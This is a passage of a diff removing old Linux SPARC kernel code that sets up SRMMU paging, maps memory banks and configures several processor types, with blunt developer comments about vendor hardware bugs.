- -/* Map sp_bank entry SP_ENTRY, starting at virtual address VBASE. - * This routine is expected to update the srmmu_map and try as - * hard as possible to use 16MB level-one SRMMU pte's when at all - * possible to get short termination and faster translations. - */ -static inline unsigned long map_spbank(unsigned long vbase, int sp_entry) -{ - unsigned long pstart = sp_banks[sp_entry].base_addr; - unsigned long vstart = vbase; - unsigned long vend = vbase + sp_banks[sp_entry].num_bytes; - static int srmmu_bank = 0; - - /* If physically not aligned on 16MB boundry, just shortcut - * right here by mapping them with 4k normal pages, and bumping - * the next virtual address to the next 16MB boundry. You can - * get this with various RAM configurations due to the way in - * which the PROM carves out it's own chunks of memory. - */ - if(pstart & ~SRMMU_PGDIR_MASK) { - do_small_mapping(vstart, vend, pstart); - vstart = SRMMU_PGDIR_ALIGN(vend); - goto finish_up; - } - while(vstart < vend) { - unsigned long coverage, next_aligned; - if(vstart & ~SRMMU_PMD_MASK) { - next_aligned = SRMMU_PMD_ALIGN(vstart); - if(next_aligned <= vend) { - coverage = (next_aligned - vstart); - do_small_mapping(vstart, next_aligned, pstart); - } else { - coverage = (vend - vstart); - do_small_mapping(vstart, vend, pstart); - } - } else if(vstart & ~SRMMU_PGDIR_MASK) { - next_aligned = SRMMU_PGDIR_ALIGN(vstart); - if(next_aligned <= vend) { - coverage = (next_aligned - vstart); - do_medium_mapping(vstart, next_aligned, pstart); - } else { - coverage = (vend - vstart); - do_small_mapping(vstart, vend, pstart); - } - } else { - coverage = SRMMU_PGDIR_SIZE; - if(large_pte_optimize || ((vstart+coverage)<=vend)) { - do_large_mapping(vstart, pstart); - } else { - coverage = (vend - vstart); - do_small_mapping(vstart, vend, pstart); - } - } - vstart += coverage; pstart += coverage; - } -finish_up: - srmmu_map[srmmu_bank].vbase = vbase; - srmmu_map[srmmu_bank].pbase = sp_banks[sp_entry].base_addr; - srmmu_map[srmmu_bank].size = sp_banks[sp_entry].num_bytes; - MKTRACE(("SRMMUBANK[v<%08lx>p<%08lx>s<%08lx>]", vbase, sp_banks[sp_entry].base_addr, sp_banks[sp_entry].num_bytes)); - srmmu_bank++; - return vstart; -} - -static inline void memprobe_error(char *msg) -{ - prom_printf(msg); - prom_printf("Halting now...\n"); - prom_halt(); -} - -/* Assumptions: The bank given to the kernel from the prom/bootloader - * is part of a full bank which is at least 4MB in size and begins at - * 0xf0000000 (ie. KERNBASE). - */ -static void map_kernel(void) -{ - unsigned long raw_pte, physpage; - unsigned long vaddr, tally, low_base; - char etaken[SPARC_PHYS_BANKS]; - int entry; - - /* Step 1: Clear out sp_banks taken map. */ - MKTRACE(("map_kernel: clearing etaken vector... ")); - for(entry = 0; entry < SPARC_PHYS_BANKS; entry++) - etaken[entry] = 0; - - low_base = KERNBASE; - - /* Step 2: Calculate 'lots_of_ram'. */ - tally = 0; - for(entry = 0; sp_banks[entry].num_bytes; entry++) - tally += sp_banks[entry].num_bytes; - if(tally > (0xfd000000 - KERNBASE)) - lots_of_ram = 1; - else - lots_of_ram = 0; - MKTRACE(("tally=%08lx lots_of_ram<%d>\n", tally, lots_of_ram)); - - /* Step 3: Fill in KERNBASE base pgd. Lots of sanity checking here. */ - raw_pte = srmmu_hwprobe(KERNBASE + PAGE_SIZE); - if((raw_pte & SRMMU_ET_MASK) != SRMMU_ET_PTE) - memprobe_error("Wheee, kernel not mapped at all by boot loader.\n"); - physpage = (raw_pte & SRMMU_PTE_PMASK) << 4; - physpage -= PAGE_SIZE; - if(physpage & ~(SRMMU_PGDIR_MASK)) - memprobe_error("Wheee, kernel not mapped on 16MB physical boundry.\n"); - entry = find_in_spbanks(physpage); - if(entry == -1 || (sp_banks[entry].base_addr != physpage)) - memprobe_error("Kernel mapped in non-existant memory.\n"); - MKTRACE(("map_kernel: map_spbank(vbase=%08x, entry<%d>)[%08lx,%08lx]\n", KERNBASE, entry, sp_banks[entry].base_addr, sp_banks[entry].num_bytes)); - if(((KERNBASE + (sp_banks[entry].num_bytes)) > 0xfd000000) || - ((KERNBASE + (sp_banks[entry].num_bytes)) < KERNBASE)) { - unsigned long orig_base = sp_banks[entry].base_addr; - unsigned long orig_len = sp_banks[entry].num_bytes; - unsigned long can_map = (0xfd000000 - KERNBASE); - - /* Map a partial bank in this case, adjust the base - * and the length, but don't mark it used. - */ - sp_banks[entry].num_bytes = can_map; - MKTRACE(("wheee really big mapping [%08lx,%08lx]", orig_base, can_map)); - vaddr = map_spbank(KERNBASE, entry); - MKTRACE(("vaddr now %08lx ", vaddr)); - sp_banks[entry].base_addr = orig_base + can_map; - sp_banks[entry].num_bytes = orig_len - can_map; - MKTRACE(("adjust[%08lx,%08lx]\n", (orig_base + can_map), (orig_len - can_map))); - MKTRACE(("map_kernel: skipping first loop\n")); - goto loop_skip; - } - vaddr = map_spbank(KERNBASE, entry); - etaken[entry] = 1; - - /* Step 4: Map what we can above KERNBASE. */ - MKTRACE(("map_kernel: vaddr=%08lx, entering first loop\n", vaddr)); - for(;;) { - unsigned long bank_size; - - MKTRACE(("map_kernel: ffsp()")); - entry = find_free_spbank(&etaken[0]); - bank_size = sp_banks[entry].num_bytes; - MKTRACE(("<%d> base=%08lx bs=%08lx ", entry, sp_banks[entry].base_addr, bank_size)); - if(!bank_size) - break; - if(((vaddr + bank_size) > 0xfd000000) || - ((vaddr + bank_size) < KERNBASE)) { - unsigned long orig_base = sp_banks[entry].base_addr; - unsigned long orig_len = sp_banks[entry].num_bytes; - unsigned long can_map = (0xfd000000 - vaddr); - - /* Map a partial bank in this case, adjust the base - * and the length, but don't mark it used. - */ - sp_banks[entry].num_bytes = can_map; - MKTRACE(("wheee really big mapping [%08lx,%08lx]", orig_base, can_map)); - vaddr = map_spbank(vaddr, entry); - MKTRACE(("vaddr now %08lx ", vaddr)); - sp_banks[entry].base_addr = orig_base + can_map; - sp_banks[entry].num_bytes = orig_len - can_map; - MKTRACE(("adjust[%08lx,%08lx]\n", (orig_base + can_map), (orig_len - can_map))); - break; - } - if(!bank_size) - break; - - /* Ok, we can map this one, do it. */ - MKTRACE(("map_spbank(%08lx,entry<%d>) ", vaddr, entry)); - vaddr = map_spbank(vaddr, entry); - etaken[entry] = 1; - MKTRACE(("vaddr now %08lx\n", vaddr)); - } - MKTRACE(("\n")); - /* If not lots_of_ram, assume we did indeed map it all above. */ -loop_skip: - if(!lots_of_ram) - goto check_and_return; - - /* Step 5: Map the rest (if any) right below KERNBASE. */ - MKTRACE(("map_kernel: doing low mappings... ")); - tally = 0; - for(entry = 0; sp_banks[entry].num_bytes; entry++) { - if(!etaken[entry]) - tally += SRMMU_PGDIR_ALIGN(sp_banks[entry].num_bytes); - } - if(!tally) - memprobe_error("Whee, lots_of_ram yet no low pages to map.\n"); - low_base = (KERNBASE - tally); - MKTRACE(("tally=%08lx low_base=%08lx\n", tally, low_base)); - - /* Ok, now map 'em. */ - MKTRACE(("map_kernel: Allocate pt skeleton (%08lx, %08x)\n",low_base,KERNBASE)); - srmmu_allocate_ptable_skeleton(low_base, KERNBASE); - vaddr = low_base; - MKTRACE(("map_kernel: vaddr=%08lx Entering second loop for low maps.\n", vaddr)); - for(;;) { - unsigned long bank_size; - - entry = find_free_spbank(&etaken[0]); - bank_size = sp_banks[entry].num_bytes; - MKTRACE(("map_kernel: e<%d> base=%08lx bs=%08lx ", entry, sp_banks[entry].base_addr, bank_size)); - if(!bank_size) - break; - if((vaddr + bank_size) > KERNBASE) - memprobe_error("Wheee, kernel low mapping overflow.\n"); - MKTRACE(("map_spbank(%08lx, %d) ", vaddr, entry)); - vaddr = map_spbank(vaddr, entry); - etaken[entry] = 1; - tally -= SRMMU_PGDIR_ALIGN(bank_size); - MKTRACE(("Now, vaddr=%08lx tally=%08lx\n", vaddr, tally)); - } - MKTRACE(("\n")); - if(tally) - memprobe_error("Wheee, did not map all of low mappings.\n"); -check_and_return: - /* Step 6: Sanity check, make sure we did it all. */ - MKTRACE(("check_and_return: ")); - for(entry = 0; sp_banks[entry].num_bytes; entry++) { - MKTRACE(("e[%d]=%d ", entry, etaken[entry])); - if(!etaken[entry]) { - MKTRACE(("oops\n")); - memprobe_error("Some bank did not get mapped.\n"); - } - } - MKTRACE(("success\n")); - init_task.mm->mmap->vm_start = page_offset = low_base; - stack_top = page_offset - PAGE_SIZE; - return; /* SUCCESS! */ -} - -unsigned long srmmu_endmem_fixup(unsigned long mem_end_now) -{ - unsigned long tally = 0; - int i; - - for(i = 0; sp_banks[i].num_bytes; i++) - tally += SRMMU_PGDIR_ALIGN(sp_banks[i].num_bytes); - if(tally < (0x0d000000UL)) { - return KERNBASE + tally; - } else { - return 0xfd000000UL; - } -} - -/* Paging initialization on the Sparc Reference MMU. */ -extern unsigned long free_area_init(unsigned long, unsigned long); -extern unsigned long sparc_context_init(unsigned long, int); - -extern int physmem_mapped_contig; -extern int linux_num_cpus; - -void (*poke_srmmu)(void); - -unsigned long srmmu_paging_init(unsigned long start_mem, unsigned long end_mem) -{ - unsigned long ptables_start; - int i, cpunode; - char node_str[128]; - - sparc_iobase_vaddr = 0xfd000000; /* 16MB of IOSPACE on all sun4m's. */ - physmem_mapped_contig = 0; /* for init.c:taint_real_pages() */ - - /* Find the number of contexts on the srmmu. */ - cpunode = prom_getchild(prom_root_node); - num_contexts = 0; - while((cpunode = prom_getsibling(cpunode)) != 0) { - prom_getstring(cpunode, "device_type", node_str, sizeof(node_str)); - if(!strcmp(node_str, "cpu")) { - num_contexts = prom_getintdefault(cpunode, "mmu-nctx", 0x8); - break; - } - } - - if(!num_contexts) { - prom_printf("Something wrong, can't find cpu node in paging_init.\n"); - prom_halt(); - } - - ptables_start = mempool = PAGE_ALIGN(start_mem); - memset(swapper_pg_dir, 0, PAGE_SIZE); - kbpage = srmmu_hwprobe(KERNBASE + PAGE_SIZE); - kbpage = (kbpage & SRMMU_PTE_PMASK) << 4; - kbpage -= PAGE_SIZE; - - srmmu_allocate_ptable_skeleton(KERNBASE, end_mem); -#if CONFIG_SUN_IO - srmmu_allocate_ptable_skeleton(sparc_iobase_vaddr, IOBASE_END); - srmmu_allocate_ptable_skeleton(DVMA_VADDR, DVMA_END); -#endif - - mempool = PAGE_ALIGN(mempool); - srmmu_inherit_prom_mappings(0xfe400000,(LINUX_OPPROM_ENDVM-PAGE_SIZE)); - map_kernel(); - srmmu_context_table = sparc_init_alloc(&mempool, num_contexts*sizeof(ctxd_t)); - srmmu_ctx_table_phys = (ctxd_t *) srmmu_v2p((unsigned long) srmmu_context_table); - for(i = 0; i < num_contexts; i++) - ctxd_set(&srmmu_context_table[i], swapper_pg_dir); - - start_mem = PAGE_ALIGN(mempool); - - flush_cache_all(); - if(flush_page_for_dma == viking_no_mxcc_flush_page) { - unsigned long start = ptables_start; - unsigned long end = start_mem; - - while(start < end) { - viking_no_mxcc_flush_page(start); - start += PAGE_SIZE; - } - } - srmmu_set_ctable_ptr((unsigned long) srmmu_ctx_table_phys); - flush_tlb_all(); - poke_srmmu(); - - start_mem = sparc_context_init(start_mem, num_contexts); - start_mem = free_area_init(start_mem, end_mem); - - return PAGE_ALIGN(start_mem); -} - -static char srmmuinfo[512]; - -static char *srmmu_mmu_info(void) -{ - sprintf(srmmuinfo, "MMU type\t: %s\n" - "invall\t\t: %d\n" - "invmm\t\t: %d\n" - "invrnge\t\t: %d\n" - "invpg\t\t: %d\n" - "contexts\t: %d\n" -#ifdef USE_CHUNK_ALLOC - "big chunks\t: %d\n" - "little chunks\t: %d\n" - "chunk pages\t: %d\n" - "garbage\t\t: %d\n" - "garbage hits\t: %d\n" -#endif - , srmmu_name, - module_stats.invall, - module_stats.invmm, - module_stats.invrnge, - module_stats.invpg, - num_contexts -#ifdef USE_CHUNK_ALLOC - , bcwater, lcwater, - chunk_pages, - garbage_calls, - clct_pages -#endif - ); - return srmmuinfo; -} - -static void srmmu_update_mmu_cache(struct vm_area_struct * vma, unsigned long address, pte_t pte) -{ -} - -static void srmmu_destroy_context(struct mm_struct *mm) -{ - if(mm->context != NO_CONTEXT && mm->count == 1) { - flush_cache_mm(mm); - ctxd_set(&srmmu_context_table[mm->context], swapper_pg_dir); - flush_tlb_mm(mm); - free_context(mm->context); - mm->context = NO_CONTEXT; - } -} - -static void srmmu_vac_update_mmu_cache(struct vm_area_struct * vma, - unsigned long address, pte_t pte) -{ - if((vma->vm_flags & (VM_WRITE|VM_SHARED)) == (VM_WRITE|VM_SHARED)) { - struct vm_area_struct *vmaring; - struct inode *inode; - unsigned long flags, offset, vaddr, start; - int alias_found = 0; - pgd_t *pgdp; - pmd_t *pmdp; - pte_t *ptep; - - save_and_cli(flags); - - inode = vma->vm_inode; - if (!inode) - goto done; - offset = (address & PAGE_MASK) - vma->vm_start; - vmaring = inode->i_mmap; - do { - vaddr = vmaring->vm_start + offset; - - if ((vaddr ^ address) & vac_badbits) { - alias_found++; - start = vmaring->vm_start; - while (start < vmaring->vm_end) { - pgdp = srmmu_pgd_offset(vmaring->vm_mm, start); - if(!pgdp) goto next; - pmdp = srmmu_pmd_offset(pgdp, start); - if(!pmdp) goto next; - ptep = srmmu_pte_offset(pmdp, start); - if(!ptep) goto next; - - if((pte_val(*ptep) & SRMMU_ET_MASK) == SRMMU_VALID) { -#if 1 - printk("Fixing USER/USER alias [%ld:%08lx]\n", - vmaring->vm_mm->context, start); -#endif - flush_cache_page(vmaring, start); - set_pte(ptep, __pte((pte_val(*ptep) & - ~SRMMU_CACHE))); - flush_tlb_page(vmaring, start); - } - next: - start += PAGE_SIZE; - } - } - } while ((vmaring = vmaring->vm_next_share) != inode->i_mmap); - - if(alias_found && !(pte_val(pte) & _SUN4C_PAGE_NOCACHE)) { - pgdp = srmmu_pgd_offset(vma->vm_mm, address); - ptep = srmmu_pte_offset((pmd_t *) pgdp, address); - flush_cache_page(vma, address); - *ptep = __pte(pte_val(*ptep) | _SUN4C_PAGE_NOCACHE); - flush_tlb_page(vma, address); - } - done: - restore_flags(flags); - } -} - -static void hypersparc_destroy_context(struct mm_struct *mm) -{ - if(mm->context != NO_CONTEXT && mm->count == 1) { - /* HyperSparc is copy-back, any data for this - * process in a modified cache line is stale - * and must be written back to main memory now - * else we eat shit later big time. - */ - flush_cache_mm(mm); - ctxd_set(&srmmu_context_table[mm->context], swapper_pg_dir); - flush_tlb_mm(mm); - free_context(mm->context); - mm->context = NO_CONTEXT; - } -} - -/* Init various srmmu chip types. */ -__initfunc(static void srmmu_is_bad(void)) -{ - prom_printf("Could not determine SRMMU chip type.\n"); - prom_halt(); -} - -__initfunc(static void init_vac_layout(void)) -{ - int nd, cache_lines; - char node_str[128]; -#ifdef __SMP__ - int cpu = 0; - unsigned long max_size = 0; - unsigned long min_line_size = 0x10000000; -#endif - - nd = prom_getchild(prom_root_node); - while((nd = prom_getsibling(nd)) != 0) { - prom_getstring(nd, "device_type", node_str, sizeof(node_str)); - if(!strcmp(node_str, "cpu")) { - vac_line_size = prom_getint(nd, "cache-line-size"); - if (vac_line_size == -1) { - prom_printf("can't determine cache-line-size, " - "halting.\n"); - prom_halt(); - } - cache_lines = prom_getint(nd, "cache-nlines"); - if (cache_lines == -1) { - prom_printf("can't determine cache-nlines, halting.\n"); - prom_halt(); - } - - vac_cache_size = cache_lines * vac_line_size; - vac_badbits = (vac_cache_size - 1) & PAGE_MASK; -#ifdef __SMP__ - if(vac_cache_size > max_size) - max_size = vac_cache_size; - if(vac_line_size < min_line_size) - min_line_size = vac_line_size; - cpu++; - if(cpu == smp_num_cpus) - break; -#else - break; -#endif - } - } - if(nd == 0) { - prom_printf("No CPU nodes found, halting.\n"); - prom_halt(); - } -#ifdef __SMP__ - vac_cache_size = max_size; - vac_line_size = min_line_size; - vac_badbits = (vac_cache_size - 1) & PAGE_MASK; -#endif - printk("SRMMU: Using VAC size of %d bytes, line size %d bytes.\n", - (int)vac_cache_size, (int)vac_line_size); -} - -static void poke_hypersparc(void) -{ - volatile unsigned long clear; - unsigned long mreg = srmmu_get_mmureg(); - - hyper_flush_unconditional_combined(); - - mreg &= ~(HYPERSPARC_CWENABLE); - mreg |= (HYPERSPARC_CENABLE | HYPERSPARC_WBENABLE); - mreg |= (HYPERSPARC_CMODE); - - srmmu_set_mmureg(mreg); - hyper_clear_all_tags(); - - put_ross_icr(HYPERSPARC_ICCR_FTD | HYPERSPARC_ICCR_ICE); - hyper_flush_whole_icache(); - clear = srmmu_get_faddr(); - clear = srmmu_get_fstatus(); -} - -__initfunc(static void init_hypersparc(void)) -{ - srmmu_name = "ROSS HyperSparc"; - - init_vac_layout(); - - set_pte = srmmu_set_pte_nocache_hyper; - mmu_getpage = hypersparc_getpage; - flush_cache_all = hypersparc_flush_cache_all; - flush_cache_mm = hypersparc_flush_cache_mm; - flush_cache_range = hypersparc_flush_cache_range; - flush_cache_page = hypersparc_flush_cache_page; - - flush_tlb_all = hypersparc_flush_tlb_all; - flush_tlb_mm = hypersparc_flush_tlb_mm; - flush_tlb_range = hypersparc_flush_tlb_range; - flush_tlb_page = hypersparc_flush_tlb_page; - - flush_page_to_ram = hypersparc_flush_page_to_ram; - flush_sig_insns = hypersparc_flush_sig_insns; - flush_page_for_dma = hypersparc_flush_page_for_dma; - flush_cache_page_to_uncache = hypersparc_flush_cache_page_to_uncache; - flush_tlb_page_for_cbit = hypersparc_flush_tlb_page_for_cbit; - - flush_chunk = hypersparc_flush_chunk; /* local flush _only_ */ - - ctxd_set = hypersparc_ctxd_set; - switch_to_context = hypersparc_switch_to_context; - init_new_context = hypersparc_init_new_context; - destroy_context = hypersparc_destroy_context; - update_mmu_cache = srmmu_vac_update_mmu_cache; - sparc_update_rootmmu_dir = hypersparc_update_rootmmu_dir; - poke_srmmu = poke_hypersparc; -} - -static void poke_cypress(void) -{ - unsigned long mreg = srmmu_get_mmureg(); - unsigned long faddr, tagval; - volatile unsigned long cypress_sucks; - volatile unsigned long clear; - - clear = srmmu_get_faddr(); - clear = srmmu_get_fstatus(); - - if (!(mreg & CYPRESS_CENABLE)) { - for(faddr = 0x0; faddr < 0x10000; faddr += 20) { - __asm__ __volatile__("sta %%g0, [%0 + %1] %2\n\t" - "sta %%g0, [%0] %2\n\t" : : - "r" (faddr), "r" (0x40000), - "i" (ASI_M_DATAC_TAG)); - } - } else { - for(faddr = 0; faddr < 0x10000; faddr += 0x20) { - __asm__ __volatile__("lda [%1 + %2] %3, %0\n\t" : - "=r" (tagval) : - "r" (faddr), "r" (0x40000), - "i" (ASI_M_DATAC_TAG)); - - /* If modified and valid, kick it. */ - if((tagval & 0x60) == 0x60) - cypress_sucks = *(unsigned long *) - (0xf0020000 + faddr); - } - } - - /* And one more, for our good neighbor, Mr. Broken Cypress. */ - clear = srmmu_get_faddr(); - clear = srmmu_get_fstatus(); - - mreg |= (CYPRESS_CENABLE | CYPRESS_CMODE); - srmmu_set_mmureg(mreg); -} - -__initfunc(static void init_cypress_common(void)) -{ - init_vac_layout(); - - set_pte = srmmu_set_pte_nocache_cypress; - mmu_getpage = cypress_getpage; - flush_cache_all = cypress_flush_cache_all; - flush_cache_mm = cypress_flush_cache_mm; - flush_cache_range = cypress_flush_cache_range; - flush_cache_page = cypress_flush_cache_page; - - flush_tlb_all = cypress_flush_tlb_all; - flush_tlb_mm = cypress_flush_tlb_mm; - flush_tlb_page = cypress_flush_tlb_page; - flush_tlb_range = cypress_flush_tlb_range; - - flush_chunk = cypress_flush_chunk; /* local flush _only_ */ - - flush_page_to_ram = cypress_flush_page_to_ram; - flush_sig_insns = cypress_flush_sig_insns; - flush_page_for_dma = cypress_flush_page_for_dma; - flush_cache_page_to_uncache = cypress_flush_page_to_uncache; - flush_tlb_page_for_cbit = cypress_flush_tlb_page_for_cbit; - sparc_update_rootmmu_dir = cypress_update_rootmmu_dir; - - update_mmu_cache = srmmu_vac_update_mmu_cache; - poke_srmmu = poke_cypress; -} - -__initfunc(static void init_cypress_604(void)) -{ - srmmu_name = "ROSS Cypress-604(UP)"; - srmmu_modtype = Cypress; - init_cypress_common(); -} - -__initfunc(static void init_cypress_605(unsigned long mrev)) -{ - srmmu_name = "ROSS Cypress-605(MP)"; - if(mrev == 0xe) { - srmmu_modtype = Cypress_vE; - hwbug_bitmask |= HWBUG_COPYBACK_BROKEN; - } else { - if(mrev == 0xd) { - srmmu_modtype = Cypress_vD; - hwbug_bitmask |= HWBUG_ASIFLUSH_BROKEN; - } else { - srmmu_modtype = Cypress; - } - } - init_cypress_common(); -} - -static void poke_swift(void) -{ - unsigned long mreg = srmmu_get_mmureg(); - - /* Clear any crap from the cache or else... */ - swift_idflash_clear(); - mreg |= (SWIFT_IE | SWIFT_DE); /* I & D caches on */ - - /* The Swift branch folding logic is completely broken. At - * trap time, if things are just right, if can mistakenly - * think that a trap is coming from kernel mode when in fact - * it is coming from user mode (it mis-executes the branch in - * the trap code). So you see things like crashme completely - * hosing your machine which is completely unacceptable. Turn - * this shit off... nice job Fujitsu. - */ - mreg &= ~(SWIFT_BF); - srmmu_set_mmureg(mreg); -} - -#define SWIFT_MASKID_ADDR 0x10003018 -__initfunc(static void init_swift(void)) -{ - unsigned long swift_rev; - - __asm__ __volatile__("lda [%1] %2, %0\n\t" - "srl %0, 0x18, %0\n\t" : - "=r" (swift_rev) : - "r" (SWIFT_MASKID_ADDR), "i" (ASI_M_BYPASS)); - srmmu_name = "Fujitsu Swift"; - switch(swift_rev) { - case 0x11: - case 0x20: - case 0x23: - case 0x30: - srmmu_modtype = Swift_lots_o_bugs; - hwbug_bitmask |= (HWBUG_KERN_ACCBROKEN | HWBUG_KERN_CBITBROKEN); - /* Gee george, I wonder why Sun is so hush hush about - * this hardware bug... really braindamage stuff going - * on here. However I think we can find a way to avoid - * all of the workaround overhead under Linux. Basically, - * any page fault can cause kernel pages to become user - * accessible (the mmu gets confused and clears some of - * the ACC bits in kernel ptes). Aha, sounds pretty - * horrible eh? But wait, after extensive testing it appears - * that if you use pgd_t level large kernel pte's (like the - * 4MB pages on the Pentium) the bug does not get tripped - * at all. This avoids almost all of the major overhead. - * Welcome to a world where your vendor tells you to, - * "apply this kernel patch" instead of "sorry for the - * broken hardware, send it back and we'll give you - * properly functioning parts" - */ - break; - case 0x25: - case 0x31: - srmmu_modtype = Swift_bad_c; - hwbug_bitmask |= HWBUG_KERN_CBITBROKEN; - /* You see Sun allude to this hardware bug but never - * admit things directly, they'll say things like, - * "the Swift chip cache problems" or similar. - */ - break; - default: - srmmu_modtype = Swift_ok; - break; - }; - - flush_cache_all = swift_flush_cache_all; - flush_cache_mm = swift_flush_cache_mm; - flush_cache_page = swift_flush_cache_page; - flush_cache_range = swift_flush_cache_range; - - flush_chunk = swift_flush_chunk; /* local flush _only_ */ - - flush_tlb_all = swift_flush_tlb_all; - flush_tlb_mm = swift_flush_tlb_mm; - flush_tlb_page = swift_flush_tlb_page; - flush_tlb_range = swift_flush_tlb_range; - - flush_page_to_ram = swift_flush_page_to_ram; - flush_sig_insns = swift_flush_sig_insns; - flush_page_for_dma = swift_flush_page_for_dma; - flush_cache_page_to_uncache = swift_flush_cache_page_to_uncache; - flush_tlb_page_for_cbit = swift_flush_tlb_page_for_cbit; - - /* Are you now convinced that the Swift is one of the - * biggest VLSI abortions of all time? Bravo Fujitsu! - * Fujitsu, the !#?!%$'d up processor people. I bet if - * you examined the microcode of the Swift you'd find - * XXX's all over the place. - */ - poke_srmmu = poke_swift; -} - -static void poke_tsunami(void) -{ - unsigned long mreg = srmmu_get_mmureg(); - - tsunami_flush_icache(); - tsunami_flush_dcache(); - mreg &= ~TSUNAMI_ITD; - mreg |= (TSUNAMI_IENAB | TSUNAMI_DENAB); - srmmu_set_mmureg(mreg); -} - -__initfunc(static void init_tsunami(void)) -{ - /* Tsunami's pretty sane, Sun and TI actually got it - * somewhat right this time. Fujitsu should have - * taken some lessons from them. - */ - - srmmu_name = "TI Tsunami"; - srmmu_modtype = Tsunami; - - flush_cache_all = tsunami_flush_cache_all; - flush_cache_mm = tsunami_flush_cache_mm; - flush_cache_page = tsunami_flush_cache_page; - flush_cache_range = tsunami_flush_cache_range; - - flush_chunk = tsunami_flush_chunk; /* local flush _only_ */ - - flush_tlb_all = tsunami_flush_tlb_all; - flush_tlb_mm = tsunami_flush_tlb_mm; - flush_tlb_page = tsunami_flush_tlb_page; - flush_tlb_range = tsunami_flush_tlb_range; - - flush_page_to_ram = tsunami_flush_page_to_ram; - flush_sig_insns = tsunami_flush_sig_insns; - flush_page_for_dma = tsunami_flush_page_for_dma; - flush_cache_page_to_uncache = tsunami_flush_cache_page_to_uncache; - flush_tlb_page_for_cbit = tsunami_flush_tlb_page_for_cbit; - - poke_srmmu = poke_tsunami; -} - -static void poke_viking(void) -{ - unsigned long mreg = srmmu_get_mmureg(); - static int smp_catch = 0; - - if(viking_mxcc_present) { - unsigned long mxcc_control = mxcc_get_creg(); - - mxcc_control |= (MXCC_CTL_ECE | MXCC_CTL_PRE | MXCC_CTL_MCE); - mxcc_control &= ~(MXCC_CTL_RRC); - mxcc_set_creg(mxcc_control); - - /* We don't need memory parity checks. - * XXX This is a mess, have to dig out later. ecd. - viking_mxcc_turn_off_parity(&mreg, &mxcc_control); - */ - - /* We do cache ptables on MXCC. */ - mreg |= VIKING_TCENABLE; - } else { - unsigned long bpreg; - - mreg &= ~(VIKING_TCENABLE); - if(smp_catch++) { - /* Must disable mixed-cmd mode here for - * other cpu's. - */ - bpreg = viking_get_bpreg(); - bpreg &= ~(VIKING_ACTION_MIX); - viking_set_bpreg(bpreg); - - /* Just in case PROM does something funny. */ - msi_set_sync(); - } - } - - mreg |= VIKING_SPENABLE; - mreg |= (VIKING_ICENABLE | VIKING_DCENABLE); - mreg |= VIKING_SBENABLE; - mreg &= ~(VIKING_ACENABLE); - srmmu_set_mmureg(mreg); - -#ifdef __SMP__ - /* Avoid unnecessary cross calls. */ - flush_cache_all = local_flush_cache_all; - flush_page_to_ram = local_flush_page_to_ram; - flush_sig_insns = local_flush_sig_insns; - flush_page_for_dma = local_flush_page_for_dma; - if (viking_mxcc_present) { - flush_cache_page_to_uncache = local_flush_cache_page_to_uncache; - } -#endif -} - -__initfunc(static void init_viking(void)) -{ - unsigned long mreg = srmmu_get_mmureg(); - - /* Ahhh, the viking. SRMMU VLSI abortion number two... */ - if(mreg & VIKING_MMODE) { - unsigned long bpreg; - - srmmu_name = "TI Viking"; - viking_mxcc_present = 0; - - bpreg = viking_get_bpreg(); - bpreg &= ~(VIKING_ACTION_MIX); - viking_set_bpreg(bpreg); - - msi_set_sync(); - - mmu_getpage = viking_no_mxcc_getpage; - set_pte = srmmu_set_pte_nocache_nomxccvik; - sparc_update_rootmmu_dir = viking_no_mxcc_update_rootmmu_dir; - - flush_cache_page_to_uncache = viking_no_mxcc_flush_page; - - flush_chunk = viking_nomxcc_flush_chunk; /* local flush _only_ */ - - /* We need this to make sure old viking takes no hits - * on it's cache for dma snoops to workaround the - * "load from non-cacheable memory" interrupt bug. - * This is only necessary because of the new way in - * which we use the IOMMU. - */ - flush_page_for_dma = viking_no_mxcc_flush_page; - } else { - srmmu_name = "TI Viking/MXCC"; - viking_mxcc_present = 1; - flush_cache_page_to_uncache = viking_mxcc_flush_page; - - flush_chunk = viking_mxcc_flush_chunk; /* local flush _only_ */ - - /* MXCC vikings lack the DMA snooping bug. */ - flush_page_for_dma = viking_flush_page_for_dma; - } - - flush_cache_all = viking_flush_cache_all; - flush_cache_mm = viking_flush_cache_mm; - flush_cache_page = viking_flush_cache_page; - flush_cache_range = viking_flush_cache_range; - - flush_tlb_all = viking_flush_tlb_all; - flush_tlb_mm = viking_flush_tlb_mm; - flush_tlb_page = viking_flush_tlb_page; - flush_tlb_range = viking_flush_tlb_range; - - flush_page_to_ram = viking_flush_page_to_ram; - flush_sig_insns = viking_flush_sig_insns; - flush_tlb_page_for_cbit = viking_flush_tlb_page_for_cbit; - - poke_srmmu = poke_viking; -} - -/* Probe for the srmmu chip version. */ -__initfunc(static void get_srmmu_type(void)) -{ - unsigned long mreg, psr; - unsigned long mod_typ, mod_rev, psr_typ, psr_vers; - - srmmu_modtype = SRMMU_INVAL_MOD; - hwbug_bitmask = 0; - - mreg = srmmu_get_mmureg(); psr = get_psr(); - mod_typ = (mreg & 0xf0000000) >> 28; - mod_rev = (mreg & 0x0f000000) >> 24; - psr_typ = (psr >> 28) & 0xf; - psr_vers = (psr >> 24) & 0xf; - - /* First, check for HyperSparc or Cypress. */ - if(mod_typ == 1) { - switch(mod_rev) { - case 7: - /* UP or MP Hypersparc */ - init_hypersparc(); - break; - case 0: - case 2: - /* Uniprocessor Cypress */ - init_cypress_604(); - break; - case 10: - case 11: - case 12: - /* _REALLY OLD_ Cypress MP chips... */ - case 13: - case 14: - case 15: - /* MP Cypress mmu/cache-controller */ - init_cypress_605(mod_rev); - break; - default: - /* Some other Cypress revision, assume a 605. */ - init_cypress_605(mod_rev); - break; - }; - return; - } - - /* Next check for Fujitsu Swift. */ - if(psr_typ == 0 && psr_vers == 4) { - init_swift(); - return; - } - - /* Now the Viking family of srmmu. */ - if(psr_typ == 4 && - ((psr_vers == 0) || - ((psr_vers == 1) && (mod_typ == 0) && (mod_rev == 0)))) { - init_viking(); - return; - } - - /* Finally the Tsunami. */ - if(psr_typ == 4 && psr_vers == 1 && (mod_typ || mod_rev)) { - init_tsunami(); - return; - } - - /* Oh well */ - srmmu_is_bad(); -} - -extern unsigned long spwin_mmu_patchme, fwin_mmu_patchme, - tsetup_mmu_patchme, rtrap_mmu_patchme; - -extern unsigned long spwin_srmmu_stackchk, srmmu_fwin_stackchk, - tsetup_srmmu_stackchk, srmmu_rett_stackchk; - -extern unsigned long srmmu_fault; - -#define PATCH_BRANCH(insn, dest) do { \ - iaddr = &(insn); \ - daddr = &(dest); \ - *iaddr = SPARC_BRANCH((unsigned long) daddr, 